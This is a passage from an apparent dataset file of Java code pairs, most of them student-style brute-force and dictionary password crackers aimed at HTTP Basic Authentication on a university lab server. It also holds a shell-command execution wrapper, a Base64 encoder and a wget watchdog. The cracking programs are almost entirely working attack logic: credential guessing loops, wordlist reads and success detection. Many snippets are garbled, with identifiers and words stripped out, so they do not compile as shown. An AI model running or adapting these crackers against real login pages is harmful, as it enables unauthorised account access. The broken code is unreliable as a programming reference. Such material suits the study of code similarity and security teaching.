    \   HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n       \
    \             \n                    switch (conn.getResponseCode()) {\n      \
    \                  case HttpURLConnection.HTTP_ACCEPTED:\n                   \
    \    case  HttpURLConnection.HTTP_OK:\n                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n\
    \                       case  HttpURLConnection.HTTP_FORBIDDEN:\n            \
    \           case  HttpURLConnection.HTTP_UNAUTHORIZED:\n                     \
    \       break;\n                        default:\n                           \
    \ \n                            \n                            System.out.println(\"\
    Unable  open connection  the URL '\"+args[1]+\"'\");\n                       \
    \     System.exit(1);\n                    }\n                } catch (IOException\
    \ e) {\n                    System.out.println(e);\n                    System.exit(1);\n\
    \                }\n                \n                THEURL = args[1];\n    \
    \        } catch (MalformedURLException e) {\n                \n             \
    \   System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n                printSyntax();\n\
    \                System.exit(1);\n            }\n        }\n        \n       \
    \ \n        if (argc==6) {\n            try {\n                MINCHAR = Integer.valueOf(args[3]).intValue();\n\
    \            } catch (NumberFormatException e) {\n                System.out.println(\"\
    Invalid  range number value '\"+args[3]+\"'\");\n                printSyntax();\n\
    \                System.exit(1);\n            }\n            \n            try\
    \ {\n                MAXCHAR = Integer.valueOf(args[4]).intValue();\n        \
    \    } catch (NumberFormatException e) {\n                System.out.println(\"\
    Invalid  range number value '\"+args[4]+\"'\");\n                printSyntax();\n\
    \                System.exit(1);\n            }\n            \n            if\
    \ ((MINCHAR<1) || (MINCHAR>10)) {\n                System.out.println(\"Invalid\
    \  range number value '\"+args[3]+\"' (must between 0 and 10)\");\n          \
    \      printSyntax();\n                System.exit(1);\n            } else\n \
    \               if (MINCHAR>MAXCHAR) {\n                    System.out.println(\"\
    Invalid  range number value '\"+args[3]+\"' (must lower than the  value)\");\n\
    \                    printSyntax();\n                    System.exit(1);\n   \
    \             }\n            \n            if (MAXCHAR>10) {\n               \
    \ System.out.println(\"Invalid  range number value '\"+args[4]+\"' (must between\
    \  value and 10)\");\n                printSyntax();\n                System.exit(1);\n\
    \            }\n            \n            if (args[2].toLowerCase().equals(\"\
    -\")) {\n                charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
    ;\n            } else\n                if (args[2].toLowerCase().equals(\"-alphanum\"\
    )) {\n                    charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\
    ;\n                } else\n                    if (args[2].toLowerCase().equals(\"\
    -alphalow\")) {\n                        charset = \"abcdefghijklmnopqrstuvwxyz\"\
    ;\n                    } else\n                        if (args[2].toLowerCase().equals(\"\
    -alphaup\")) {\n                            charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
    ;\n                        } else\n                            if (args[2].toLowerCase().equals(\"\
    -number\")) {\n                                charset = \"1234567890\";\n   \
    \                         } else {\n                                charset =\
    \ args[2];\n                            }\n            \n            USERNAME\
    \ = args[5];\n        } else\n            if ((argc>2) && (argc<6)) {\n      \
    \          System.out.println(\"Please specify the [charset], [], [], and [username]\
    \ altogether  none at all\");\n                printSyntax();\n              \
    \  System.exit(1);\n            } else\n                if ((argc>2) && (argc>6))\
    \ {\n                    System.out.println(\"The number of parameters expected\
    \ is not more than 6. \");\n                    System.out.println(\" have specified\
    \ more than 6 parameters.\");\n                    printSyntax();\n          \
    \          System.exit(1);\n                }\n    }\n    \n    public static\
    \ void main (String[] args) {\n        \n        charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
    ;\n        MINCHAR = 1;\n        MAXCHAR = 3;\n        \n        \n        if\
    \ (args.length==0) {\n            args    = new String[6];\n            args[0]\
    \ = String.valueOf(1); \n            args[1] = THEURL;\n            args[2] =\
    \ \"-\";\n            args[3] = String.valueOf(MINCHAR);\n            args[4]\
    \ = String.valueOf(MAXCHAR);\n            args[5] = USERNAME;\n        }\n   \
    \     \n        \n        paramCheck(args);\n        \n        countIdxLimit();\n\
    \        \n        \n        Application = new BruteForce();\n    }\n    \n  \
    \  public static BruteForce Application;\n    public static String    THEURL =\
    \ \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n    public static boolean\
    \   isenhanced; \n    public static String    passw  = \"\";   \n    \n    public\
    \ static final int REPORT_INTERVAL = 10; \n    public static int       MAXTHREAD\
    \ =  50;      \n    public static int       MAXCONN   =  50;      \n    public\
    \ static int\t    curconn   =   0;      \n    public static int       success\
    \   =  -1;      \n    \n    public static String    USERNAME = \"\";  \n    public\
    \ static int       MINCHAR;              \n    public static int       MAXCHAR;\
    \              \n    public static  int     ALLCOMBI;             \n    \n   \
    \ public static   int start   ,end;            \n    \n    \n    public static\
    \ java.util.Timer   reportTimer; \n    public static HttpURLConnection connections[]\
    \ = new HttpURLConnection[MAXCONN]; \n    public static boolean\t    connused[]\
    \    = new boolean[MAXCONN];           \n    public        ThCrack[] threads \
    \              = new ThCrack[MAXTHREAD];         \n    public static    int  \
    \ attempt               = 0; \n    public static int    idxLimit; \n    public\
    \ static String    charset;  \n    public static int       NCHAR;    \n}\n"
  sentences:
  - "\n\npublic class Execute {\n   public Execute(String cmdline) {\n      try {\n\
    \         \n         String[] cmd = {\"//sh\", \"-c\", cmdline};\n         Process\
    \ p = Runtime.getRuntime().exec(cmd);\n         \n         p.waitFor();\n    \
    \  } catch (Exception e){}\n   }\n}\n\n"
  - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\
    import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n   \
    \ private String         url;\n    private URL            currURL;\n    private\
    \ URLConnection  conn;\n    private HoldSharedData sharedData;\n    private int\
    \            noOfThread;\n    private int            batch;\n\n    public ConnectionThread(\
    \ String pageURL, int wThread,\n                             int newBatch, HoldSharedData\
    \ data )\n    {\n        super();\n        url = pageURL;\n        noOfThread\
    \ = wThread ;\n        batch = newBatch;\n        sharedData = data;\n    }\n\n\
    \    \n    public void run()\n    {\n        try\n        {\n            currURL\
    \ = new URL( url );\n\n            for( int i = noOfThread*batch; (i < (noOfThread\
    \ + 1)*batch) &&\n                                    (i < sharedData.getPwdCount());\
    \ i ++ )\n            {\n                String pwd = sharedData.getPasswordAt(\
    \ i );\n\n                conn = currURL.openConnection();\n\n               \
    \ if (conn instanceof HttpURLConnection)\n                {\n\t            HttpURLConnection\
    \ hconn = (HttpURLConnection) conn;\n                    hconn.setFollowRedirects(false);\n\
    \                    String cad = \" \" + based64Encoder( \":\" + pwd );\n   \
    \                 hconn.setRequestProperty( \"Authorization\", cad );\n\n    \
    \                hconn.connect();\n\t            int response = hconn.getResponseCode();\n\
    \                    sharedData.setNumOfConnections();\n\n                   \
    \ if( response == 200 )\n                    {\n                         totalTime\
    \ = System.currentTimeMillis() -\n                                           sharedData.getStartTime();\n\
    \                        int numOfConnections = sharedData.getNumOfConnections();\n\
    \n                        System.out.println( \"Password is \" + pwd );\n    \
    \                    System.out.println( \"Total Time(seconds)=\" +\n        \
    \                                   (double)totalTime/1000 );\n              \
    \          System.out.println( \"Number Of Connections: \" +\n               \
    \                                     numOfConnections );\n                  \
    \      System.exit(0);\n                    }\n                    else\n    \
    \                {\n                        hconn.disconnect();\n            \
    \        }\n                }\n            }\n        }\n        catch( MalformedURLException\
    \ mue )\n        {\n            String msg = \"Unable  parse URL: \" + url;\n\
    \            System.err.println( msg );\n        }\n        catch( IOException\
    \ ioe )\n        {\n            System.err.println( \"I/O Error : \" + ioe );\n\
    \        }\n    }\n\n    private String based64Encoder( String pwd )\n    {\n\
    \        \n        String str = pwd;\n        byte[] buf = str.getBytes();\n \
    \       String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n      \
    \  return encodedStr;\n    }\n}  "
  - "import java.io.*;\nimport java.net.*;\n\npublic class Dictionary{\n\n public\
    \ static void main( String[] args ){\n Dictionary dict= new Dictionary();\n dict.create();\n\
    \ }\n\npublic void dsf(){\n    String password;\n    String auth_data;\n    String\
    \ username=\"\";\n    String server_res_code;\n    String required_server_res_code=\"\
    200\";\n    int cntr=0;\n try{\n    URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    );\n    URLConnection conn=null;\n    String fileName = \"/usr/share/lib/dict/words\"\
    ;\n    fileName=fileName.trim();\n    FileReader fr = new FileReader(fileName);\n\
    \    BufferedReader inputfile = new BufferedReader(fr);\n\n    while( (password=inputfile.readLine())\
    \ != null ){\n\n           password = password.trim();\n           \n        \
    \   auth_data=null;\n           auth_data=username + \":\" + password;\n     \
    \      auth_data=auth_data.trim();\n           auth_data=getBasicAuthData(auth_data);\n\
    \           auth_data=auth_data.trim();\n           conn=url.openConnection();\n\
    \           conn.setDoInput (true);\n           conn.setDoOutput(true);\n    \
    \       conn.setRequestProperty(\"GET\", \"/SEC/2/ HTTP/1.1\");\n           conn.setRequestProperty\
    \ (\"Authorization\", auth_data);\n           server_res_code=conn.getHeaderField(0);\n\
    \           server_res_code=server_res_code.substring(9,12);\n           server_res_code.trim();\n\
    \           cntr++;\n           if( server_res_code.compareTo(required_server_res_code)!=0)\n\
    \           System.out.println(cntr + \" . \" + \"PASSWORD SEND : \" + password\
    \ + \"  SERVER RESPONSE  : \" + server_res_code);\n           else {\n       \
    \    System.out.println(cntr + \" . \" + \"PASSWORD IS: \" + password + \"  SERVER\
    \ RESPONSE  : \" + server_res_code);\n           break;}\n\n           }\n\n}\n\
    \ncatch( Exception e){\n       System.err.println(e);\n       }\n}\n\npublic String\
    \ getBasicAuthData (String getauthdata)    {\n\nchar base64Array [] = {\n    \
    \  'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n      'I', 'J', 'K', 'L', 'M', 'N',\
    \ 'O', 'P',\n      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n      'Y', 'Z', 'a',\
    \ 'b', 'c', 'd', 'e', 'f',\n      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n  \
    \    'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n      'w', 'x', 'y', 'z', '0', '1',\
    \ '2', '3',\n      '4', '5', '6', '7', '8', '9', '+', '/' } ;\n\n    String encodedString\
    \ = \"\";\n    byte bytes [] = getauthdata.getBytes ();\n    int i = 0;\n    int\
    \ pad = 0;\n    while (i < bytes.length) {\n      byte b1 = bytes [i++];\n   \
    \   byte b2;\n      byte b3;\n      if (i >= bytes.length) {\n         b2 = 0;\n\
    \         b3 = 0;\n         pad = 2;\n         }\n      else {\n         b2 =\
    \ bytes [i++];\n         if (i >= bytes.length) {\n            b3 = 0;\n     \
    \       pad = 1;\n            }\n         else\n            b3 = bytes [i++];\n\
    \         }\n      byte c1 = (byte)(b1 >> 2);\n      byte c2 = (byte)(((b1 & 0x3)\
    \ << 4) | (b2 >> 4));\n      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
    \      byte c4 = (byte)(b3 & 0x3f);\n      encodedString += base64Array [c1];\n\
    \      encodedString += base64Array [c2];\n      switch (pad) {\n       case 0:\n\
    \         encodedString += base64Array [c3];\n         encodedString += base64Array\
    \ [c4];\n         break;\n       case 1:\n         encodedString += base64Array\
    \ [c3];\n         encodedString += \"=\";\n         break;\n       case 2:\n \
    \        encodedString += \"==\";\n         break;\n       }\n      }\n      return\
    \ \" \" + encodedString;\n  }\n\n}"
- source_sentence: "import java.net.*;\nimport java.util.*;\nimport java.io.*;\n\n\
    \n\n\npublic class BruteForce {\n  URL url;\n  URLConnection uc;\n  String username,\
    \ password, encoding;\n  int pretime, posttime;\n  String c ;\n\n  public BruteForce(){\n\
    \    pretime = new Date().getTime();\n    try{\n      url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    );\n    }catch(MalformedURLException e){\n      e.printStackTrace();\n    }\n\
    \    username = \"\";\n  }\n\n  public void checkPassword(char[] pw){\n    try{\n\
    \      password = new String(pw);\n      encoding = new pw.misc.BASE64Encoder().encode((username+\"\
    :\"+password).getBytes());\n      uc = url.openConnection();\n      uc.setRequestProperty(\"\
    Authorization\", \" \" + encoding);\n      bf = uc.getHeaderField(null);\n   \
    \   System.out.println(password);\n      if(bf.equals(\"HTTP/1.1 200 OK\")){\n\
    \        posttime = new Date().getTime();\n         diff = posttime - pretime;\n\
    \        System.out.println(username+\":\"+password);\n        System.out.println();\n\
    \        System.out.println(diff/1000/60 + \" minutes \" + diff/1000%60 + \" seconds\"\
    );\n        System.exit(0);\n      }\n    }catch(MalformedURLException e){\n \
    \     e.printStackTrace();\n    }catch(IOException ioe){\n      ioe.printStackTrace();\n\
    \    }\n  }\n\n  public static void main (String[] args){\n    BruteForce bf =\
    \ new BruteForce();\n    char i, j, k;\n\n    \n    for(i='a'; i<='z'; i++){\n\
    \      for(j='a'; j<='z'; j++){  \n        for(k='a'; k<='z'; k++){\n        \
    \  char[] pw = {i, j, k};\n          bf.checkPassword(pw);\n        }\n      }\n\
    \    }\n\n    \n    for(i='A'; i<='Z'; i++){\n      for(j='A'; j<='Z'; j++){ \
    \ \n        for(k='A'; k<='Z'; k++){\n          char[] pw = {i, j, k};\n     \
    \     bf.checkPassword(pw);\n        }\n      }\n    }\n\n    \n    for(i='A';\
    \ i<='Z'; i++){\n      for(j='a'; j<='z'; j++){  \n        for(k='a'; k<='z';\
    \ k++){\n          char[] pw = {i, j, k};\n          bf.checkPassword(pw);\n \
    \       }\n      }\n    }\n\n    for(i='A'; i<='z'; i++){ \n      if((i=='[')\
    \ || (i=='\\\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n        continue;\n\
    \      }\n      for(j='A'; j<='Z'; j++){  \n        for(k='a'; k<='z'; k++){\n\
    \          char[] pw = {i, j, k};\n          bf.checkPassword(pw);\n        }\n\
    \      }\n    }   \n\n    for(i='A'; i<='z'; i++){ \n      if((i=='[') || (i=='\\\
    \\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n        continue;\n  \
    \    }\n      for(j='a'; j<='z'; j++){  \n        for(k='A'; k<='Z'; k++){\n \
    \         char[] pw = {i, j, k};\n          bf.checkPassword(pw);\n        }\n\
    \      }\n    } \n        \n    for(i='a'; i<='z'; i++){\n      for(j='A'; j<='Z';\
    \ j++){  \n        for(k='A'; k<='Z'; k++){\n          char[] pw = {i, j, k};\n\
    \          bf.checkPassword(pw);\n        }\n      }\n    }\n    \n    \n    for(i='A';\
    \ i<='z'; i++){ \n      if((i=='[') || (i=='\\\\') || (i==']') || (i=='^') ||\
    \ (i=='_') || (i=='`')){\n        continue;\n      }\n      for(j='A'; j<='z';\
    \ j++){  \n        if((j=='[') || (j=='\\\\') || (j==']') || (j=='^') || (j=='_')\
    \ || (j=='`')){\n          continue;\n        }\n        char[] pw = {i, j};\n\
    \        bf.checkPassword(pw);\n      }\n    }   \n    \n    \n    for(i='A';\
    \ i<='z'; i++){     \n      if((i=='[') || (i=='\\\\') || (i==']') || (i=='^')\
    \ || (i=='_') || (i=='`')){\n        continue;\n      }\n      char[] pw = {i};\n\
    \      bf.checkPassword(pw);\n    }\n  }\n}\n        \n"
  sentences:
  - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\
    {\t\n\n\tpublic static void main(String args[])\n\t{\n\n           Runtime rt1\
    \ = Runtime.getRuntime();\n\t   Process prss1= null;\n\n           try\n     \
    \       {\n             prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\
    \ http://www.cs.rmit.edu./students/\");\n            }catch(java.io.IOException\
    \ e){}\n\n\t   MyWatchDogTimer w = new MyWatchDogTimer();\n\t   Timer time = new\
    \ Timer();\n\t   time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"
  - "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\
    {\n   private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n   private static String password;\n   private static int length;         \
    \ \n   private static int t_counter;       \n   private static int f_counter;\
    \       \n                                       \n   private static int cases;\
    \           \n                                       \n   private static int respCode;\
    \        \n\n   public BruteForce()\n   {\n      Authenticator.setDefault(new\
    \ BruteForceAuthenticator());\n      t_counter = 0;\n      f_counter = 0;\n  \
    \    cases = 0;\n   }\n\n   public static void main (String[] args)\n   {\n  \
    \    BruteForce bf = new BruteForce();\n      String file = \" \";\n      while(respCode\
    \ != 200)\n      {\n         file = bf.fetchURL();\n      }\n      System.out.println(\"\
    Number of attempts: \" + t_counter);\n      System.out.println(\"Password: \"\
    \ + password);\n      System.out.println(file);\n   }\n\n   private String fetchURL()\n\
    \   {\n      StringWriter sw = new StringWriter();\n      PrintWriter pw = new\
    \ PrintWriter();\n\n      try\n      {\n         URL url = new URL(urlString);\n\
    \         HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
    \        respCode = huc.getResponseCode();\n         InputStream content = huc.getInputStream();\n\
    \         BufferedReader in = \n            new BufferedReader (new InputStreamReader\
    \ (content));\n         String line;\n         while ((line = in.readLine()) !=\
    \ null) \n         {\n            pw.println(line);\n         }\n      } catch\
    \ (IOException e) {\n         pw.println(\"Error  URL\");\n      }\n      return\
    \ sw.toString();\n   }\n            \n   class BruteForceAuthenticator extends\
    \ Authenticator \n   {\n      private String username = \"\";\n\n      protected\
    \ PasswordAuthentication getPasswordAuthentication()\n      {\n         return\
    \ new PasswordAuthentication(username,generatePassword());\n      }\n\n      protected\
    \ char[] generatePassword()\n      {\n         int i,j,k;\n         int n = 26;\n\
    \         String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n         String letters2\
    \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n         i=0;\n         j=0;\n       \
    \  k=0;\n   \n         \n         \n         if(t_counter == 0)\n         {\n\
    \            length = 1;\n            cases = 0;\n            f_counter = 0;\n\
    \         }\n         if(t_counter == 2*n)\n         {\n            length = 2;\n\
    \            cases = 0;\n            f_counter = 0;\n         }\n         if(t_counter\
    \ == (2*n + 4*n*n))\n         {\n            length = 3;\n            cases =\
    \ 0;\n            f_counter = 0;\n         }\n\n         char c[] = new char[length];\n\
    \n         \n         \n         if(length == 1)\n         {\n            if(f_counter\
    \ == n)\n            {\n               cases++;\n               f_counter = 0;\n\
    \            }\n            i = f_counter;\n\n         } else if(length == 2)\
    \ \n         {\n            if(f_counter == n*n)\n            {\n            \
    \   cases++;\n               f_counter = 0;\n            }\n            i = f_counter/n;\n\
    \            j = f_counter - i*n;\n\n         } else if(length == 3) \n      \
    \   {\n            if(f_counter == n*n*n)\n            {\n               cases++;\n\
    \               f_counter = 0;\n            }\n            i = f_counter/(n*n);\n\
    \            j = (f_counter - i*n*n)/n;\n            k = f_counter - i*n*n - j*n;\n\
    \         }\n\n         \n         switch(cases)\n         {\n            case\
    \ 0:\n               c[0] = letters1.charAt(i);\n               if(length > 1)\
    \ c[1] = letters1.charAt(j);\n               if(length > 2) c[2] = letters1.charAt(k);\n\
    \               break;\n            case 1:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\
    \               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\
    \               break;\n            case 2:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               c[1] = letters1.charAt(j);\n               if(length > 2) c[2]\
    \ = letters1.charAt(k);\n               break;\n            case 3:\n        \
    \       c[0] = letters1.charAt(i);\n               c[1] = Character.toUpperCase(letters1.charAt(j));\n\
    \               if(length > 2) c[2] = letters1.charAt(k);\n               break;\n\
    \            case 4:\n               c[0] = letters1.charAt(i);\n            \
    \   c[1] = letters1.charAt(j);\n               c[2] = Character.toUpperCase(letters1.charAt(k));\n\
    \               break;\n            case 5:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               c[1] = Character.toUpperCase(letters1.charAt(j));\n          \
    \     c[2] = letters1.charAt(k);\n               break;\n            case 6:\n\
    \               c[0] = letters1.charAt(i);\n               c[1] = Character.toUpperCase(letters1.charAt(j));\n\
    \               c[2] = Character.toUpperCase(letters1.charAt(k));\n          \
    \     break;\n            case 7:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               c[1] = letters1.charAt(j);\n               c[2] = Character.toUpperCase(letters1.charAt(k));\n\
    \               break;\n            default:\n               break;\n        \
    \ }\n\n         f_counter++;\n         t_counter++;\n\n         password = new\
    \ String(c);\n         return c;\n      }\n   }\n}\n"
  - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\
    public class Dictionary\n{\n   public static void main(String args[])\n   {\n\
    \      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String\
    \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n\
    \      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n\
    \         \n         BufferedReader dict_word = new BufferedReader\n         \
    \                         (new FileReader (DICT_FILE));\n  \n         \n     \
    \    while((password = dict_word.readLine())!= null)\n         {        \n   \
    \         try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"\
    wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n        \
    \      \n               BufferedReader stdInput = new BufferedReader(new \n  \
    \                   InputStreamReader(p.getInputStream()));\n\n              \
    \ BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\
    \n               \n               while ((s = stdInput.readLine()) != null)\n\
    \               {\n                  System.out.println(s);\n               }\n\
    \                  \n               \n               while ((s = stdError.readLine())\
    \ != null)\n               {\n                  System.out.println(s);\n     \
    \          }\n\n               try\n\t       {\n                  p.waitFor();\
    \ \n               }\n               catch (InterruptedException g)  \n      \
    \         {\n               }  \n\n               num_tries++;\n             \
    \     \n               if((p.exitValue()) == 0) \n               {       \n  \
    \                System.out.println(\"**********PASSWORD IS: \" + password);\n\
    \t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\
    \                  System.exit(1);\n               }\n            }\n        \
    \    catch (IOException e)\n            {\n               System.out.println(\"\
    exception happened - here's what I know: \");\n               e.printStackTrace();\n\
    \               System.exit(-1);\n            }\n         }\n         \n     \
    \    System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n \
    \        System.out.println(\"**********Sorry, password was not found in dictionary\
    \ file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException\
    \ exception)\n      {\n         System.out.println(exception);\n      }\n    \
    \  catch (IOException exception)\n      {\n         System.out.println(exception);\n\
    \      }\n   }\n}\n  \n"
- source_sentence: "\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic\
    \ class Dictionary\n{\n   public static void main (String args[]) throws IOException,\n\
    \   MalformedURLException\n   {\n      final String username = \"\";\n      final\
    \ String fullurl = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n      final String\
    \ dictfile = \"/usr/share/lib/dict/words\";\n      String temppass;\n      String\
    \ password = \"\";\n      URL url = new URL(fullurl);\n      boolean cracked =\
    \ false;\n\n       startTime = System.currentTimeMillis();\n\n      \n      BufferedReader\
    \ r = new BufferedReader(new FileReader(dictfile));\n\n      while((temppass =\
    \ r.readLine()) != null && !cracked)\n      {  \n         \n         if(temppass.length()\
    \ <= 3)\n         {\n            \n            if(isAlpha(temppass))\n       \
    \     {\n               \n               Authenticator.setDefault(new MyAuthenticator(username,temppass));\n\
    \               try{\n                  BufferedReader x = new BufferedReader(new\
    \ InputStreamReader(\n                     url.openStream()));\n             \
    \     cracked = true;\n                  password = temppass;\n              \
    \ } catch(Exception e){}\n            }\n         }\n      }\n\n       stopTime\
    \ = System.currentTimeMillis();\n      \n      if(!cracked)\n         System.out.println(\"\
    Sorry, couldnt find the password\");\n      else\n         System.out.println(\"\
    Password found: \"+password);\n      System.out.println(\"Time taken: \"+(stopTime-startTime));\n\
    \   }\n\n   public static boolean isAlpha(String s)\n   {\n      boolean v = true;\n\
    \      for(int i=0; i<s.length(); i++)\n      {\n         if(!Character.isLetter(s.charAt(i)))\n\
    \            v = false;\n      }\n      return ;\n   }\n}\n\n"
  sentences:
  - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n   public\
    \ static void main(String[] args) {\n      new CrackAttempt();\n   }\n}\n\nclass\
    \ CrackAttempt {\n   public CrackAttempt() {\n      final int MAX_LENGTH = 3;\n\
    \      boolean auth = false;\n      Date  = new Date();\n      boolean morePasswords\
    \ = true;\n      int passPtr = 0;\n      StringBuffer validChars = new StringBuffer(\"\
    abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n      char[] password\
    \ = new char[MAX_LENGTH];\n\n      password[0] = validChars.charAt(0);\n     \
    \ while (!auth && morePasswords) {\n         String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;\n         try {\n            \n            Authenticator.setDefault(new CrackAuth(password));\n\
    \            URL url = new URL(resource);\n            HttpURLConnection conn\
    \ = (HttpURLConnection)url.openConnection();\n            conn.setRequestMethod(\"\
    HEAD\");\n            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
    \ {\n               System.out.println(\"cracked with \" + new String(password));\n\
    \               auth = true;\n            }\n         } catch (Exception e) {\n\
    \            System.out.println(\" was  exception: \" + e.getMessage());\n   \
    \      }\n         int count = passPtr;\n         while (true) {\n           \
    \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n     \
    \          password[count] = validChars.charAt(0);\n               count--;\n\
    \            } else {\n               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
    \ + 1);\n               break;\n            }\n            if (count < 0) {\n\
    \               \n               if (passPtr < MAX_LENGTH - 1) {\n           \
    \       passPtr++;\n                  password[passPtr] = validChars.charAt(0);\n\
    \               } else {\n                  morePasswords = false;\n         \
    \      }\n               break;\n            }\n         }\n         \n      }\
    \ \n      if (!auth) {\n         System.out.println(\"Unable  determine password\"\
    );\n      } else {\n          time = (new Date()).getTime() - start.getTime();\n\
    \         System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
    \  crack the password\");\n      }\n   }\n}\n\nclass CrackAuth extends Authenticator\
    \ {\n   char[] password;\n   public CrackAuth(char[] password) {\n      this.password\
    \ = password;\n   }\n\n   protected PasswordAuthentication getPasswordAuthentication()\n\
    \   {\n      String user = \"\";\n      return new PasswordAuthentication(user,\
    \ password);\n   }\n}\n"
  - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\
    \    char[] out = new char[((data.length + 2) / 3) * 4];\n\n    \n    \n    \n\
    \    \n    for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n        boolean\
    \ quad = false;\n        boolean trip = false;\n\n        int bat = (0xFF & (int)\
    \ data[i]);\n        bat <<= 8;\n        if ((i+1) < data.length) {\n        \
    \    bat |= (0xFF & (int) data[i+1]);\n            trip = true;\n        }\n \
    \       bat <<= 8;\n        if ((i+2) < data.length) {\n           bat  |= (0xFF\
    \ & (int) data[i+2]);\n            quad = true;\n        }\n        out[index+3]\
    \ = alphabet[(quad? ( bat & 0x3F): 64)];\n        bat >>= 6;\n        out[index+2]\
    \ = alphabet[(trip? ( bat & 0x3F): 64)];\n        bat >>= 6;\n        out[index+1]\
    \ = alphabet[bat & 0x3F];\n        bat >>= 6;\n        out[index+0] = alphabet[\
    \ bat & 0x3F];\n    }\n    return out;\n}\n\n  \nstatic public byte[] decode(char[]\
    \ data)\n{\n    \n    \n    \n    \n    \n    \n\n    int tempLen = data.length;\n\
    \    for( int ix=0; ix<data.length; ix++ )\n    {\n        if( (data[ix] > 255)\
    \ || codes[ data[ix] ] < 0 )\n            --tempLen;  \n    }\n    \n    \n  \
    \  \n    \n\n    int len = (tempLen / 4) * 3;\n    if ((tempLen % 4) == 3) len\
    \ += 2;\n    if ((tempLen % 4) == 2) len += 1;\n\n    byte[] out = new byte[len];\n\
    \n\n\n    int shift = 0;   \n    int accum = 0;   \n    int index = 0;\n\n   \
    \ \n    for (int ix=0; ix<data.length; ix++)\n    {\n        int value = (data[ix]>255)?\
    \ -1: codes[ data[ix] ];\n\n        if ( value >= 0 )           \n        {\n\
    \            accum <<= 6;            \n            shift += 6;             \n\
    \            accum |= value;         \n            if ( shift >= 8 )       \n\
    \            {\n                shift -= 8;         \n                out[index++]\
    \ =      \n                    (byte) ((accum >> shift) & 0xff);\n           \
    \ }\n        }\n        \n        \n        \n        \n        \n        \n \
    \   }\n\n    \n    if( index != out.length)\n    {\n        throw new Error(\"\
    Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\
    \ \")\");\n    }\n\n    return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\
    \ =\n    \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\
    \n        .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\
    static {\n    for (int i=0; i<256; i++) codes[i] = -1;\n    for (int i = 'A';\
    \ i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');\n    for (int i = 'a'; i <=\
    \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n    for (int i = '0'; i <= '9';\
    \ i++) codes[i] = (byte)(52 + i - '0');\n    codes['+'] = 62;\n    codes['/']\
    \ = 63;\n}\n}"
  - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\
    public class Dictionary\n{\n\n\n\n    public void crackAddress(String fileName)\
    \ throws Exception\n    {\n       String line,username=\"\",passwd,pass;\n   \
    \    int flag=0,i;\n       BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\
